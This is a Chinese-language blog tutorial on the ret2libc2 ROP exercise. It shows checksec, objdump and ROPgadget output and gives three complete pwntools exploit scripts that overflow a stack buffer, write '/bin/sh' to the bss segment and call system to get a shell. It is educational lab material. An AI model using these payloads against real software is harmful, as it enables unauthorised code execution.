基本ROP之ret2libc2

原理

ret2libc即控制函数执行libc中的函数,通常是返回至某个函数plt表处或者函数的具体位置(即函数对应的got表项的内容),一般情况下我们选择执行system("/bin/sh"),故而我们需要知道system函数的地址

过程

下载地址:url

checksec

IDA分析

  • gets函数
  • system函数

经计算gets字符串和ebp的偏移为108,这里不进行赘述

查找bin/sh
ROPgadget --binary ret2libc2 --string "/bin/sh"
Strings information
============================================================

没有该字符串

查看plt表

root@ubuntu:/mnt/wiki# objdump -d ret2libc2 | grep "plt"
 8048435:	e8 66 00 00 00       	call   80484a0 <__gmon_start__@plt>
Disassembly of section .plt:
08048440 <printf@plt-0x10>:
08048450 <printf@plt>:
08048460 <gets@plt>:
08048470 <time@plt>:
08048480 <puts@plt>:
08048490 <system@plt>:
080484a0 <__gmon_start__@plt>:
080484b0 <srand@plt>:
080484c0 <__libc_start_main@plt>:
080484d0 <setvbuf@plt>:
080484e0 <rand@plt>:
080484f0 <__isoc99_scanf@plt>:
 804851c:	e8 9f ff ff ff       	call   80484c0 <__libc_start_main@plt>
 804860a:	e8 61 fe ff ff       	call   8048470 <time@plt>
 8048612:	e8 99 fe ff ff       	call   80484b0 <srand@plt>
 8048617:	e8 c4 fe ff ff       	call   80484e0 <rand@plt>
 804862d:	e8 be fe ff ff       	call   80484f0 <__isoc99_scanf@plt>
 8048641:	e8 4a fe ff ff       	call   8048490 <system@plt>
 8048671:	e8 5a fe ff ff       	call   80484d0 <setvbuf@plt>
 8048696:	e8 35 fe ff ff       	call   80484d0 <setvbuf@plt>
 80486a2:	e8 d9 fd ff ff       	call   8048480 <puts@plt>
 80486ae:	e8 9d fd ff ff       	call   8048450 <printf@plt>
 80486ba:	e8 a1 fd ff ff       	call   8048460 <gets@plt>

发现gets函数,可以利用gets函数进行读取/bin/sh字符串,读取这个字符串一般放在bss段,利用IDA进行查找。

发现0x0804A080处存在一个buf2的buffer

需要查看其是否可读可写。

是可写的

于是有了两种exp的写法

第一种

还需要查找一个pop;ret指令的地址

root@ubuntu:/mnt/wiki# ROPgadget --binary ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

使用:

0x0804843d : pop ebx ; ret
//pop出栈,esp上行+4,并将出栈的值赋给ebx
//ret,esp又上行+4

这里pop什么不重要,ebx可以,eax可以,ecx也可以。最主要是需要移动esp指针,使其+8,上移。

之后就可以编写exp了。

from pwn import *
bss_addr = 0x0804A080
gets_plt = 0x08048460
sys_plt  = 0x08048490
pop_ret = 0x0804843d

io=process('./ret2libc2')
io.recvuntil('What do you think ?')
payload = flat(['a' * 112 , gets_plt , pop_ret , bss_addr , sys_plt , 'bbbb' , bss_addr])
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

使用exp中的payload,程序栈结构如下:

另一种exp

  • 不需要pop;ret指令进行辅助
  • 直接将gets函数的返回地址设为system函数
from pwn import *
bss_addr = 0x0804A080
gets_plt = 0x08048460
sys_plt  = 0x08048490

io=process('./ret2libc2')
io.recvuntil('What do you think ?')
payload = 'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(bss_addr) + p32(bss_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
~                       

其栈结构如下:

之后将/bin/sh字符串写入到buf2处即可

练习题

gets函数换成了read函数,其余没变

下载地址
//链接不知道什么时候失效

checksec + IDA分析

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# checksec rop
[*] '/mnt/hgfs/ubuntu_share/pwn/wiki/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

  • 32位程序
  • plt,got表可查可写


  • read函数读取字符串,只有0x48的空间,但读进来0x100长度
  • 势必造成栈溢出
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary rop --string "/bin/sh"
Strings information
============================================================

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# objdump -d rop | grep "plt"
Disassembly of section .plt:
08049020 <setbuf@plt-0x10>:
08049030 <setbuf@plt>:
08049040 <read@plt>:
08049050 <puts@plt>:
08049060 <system@plt>:
08049070 <__libc_start_main@plt>:
08049080 <memset@plt>:
08049090 <putchar@plt>:

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary rop --only "pop|ret"
Gadgets information
============================================================
0x08049320 : pop eax ; pop ebx ; ret
0x0804938b : pop ebp ; ret
0x08049388 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804901e : pop ebx ; ret
0x0804938a : pop edi ; pop ebp ; ret
0x08049389 : pop esi ; pop edi ; pop ebp ; ret
0x0804900a : ret
0x0804914b : ret 0xe8c1

function read

这里说一下read函数和gets函数的区别:

  • gets函数只有一个参数,就是字符串的地址
  • 在pwn中,一般我们调用plt表中gets函数,传递两个参数,第一个是返回地址,第二个是要写入字符串的地址,如上面例题所说的一样
  • read函数有三个参数,其函数原型为read(int fd, void * buf, size_t count)
    • fd这个参数的位置上会出现三种情况,
      • 0.代表stdin(标准输入)
      • 1.代表 stdout(标准输出)
      • 2.代表 stderr(标准错误)
    • buf为指向缓冲区的字符指针,也就是写入字符串的地址
    • count为写入的字节数

exp编写

read函数比gets函数多了两个参数,所以需要pop三次。
选择如下:

0x08049389 : pop esi ; pop edi ; pop ebp ; ret
from pwn import *
bss_addr = 0x0804C030
read_plt = 0x08049040
sys_plt  = 0x08049060
pop_ret = 0x08049389

io=process('./rop')
io.recv()
payload = flat(['a' * 76 , read_plt , pop_ret , 0 , bss_addr, 0x7, sys_plt , 'bbbb' , bss_addr])
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

此时的栈结构为:

  • BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。
发布了280 篇原创文章 · 获赞 68 · 访问量 26万+

猜你喜欢

转载自blog.csdn.net/AcSuccess/article/details/104321534
今日推荐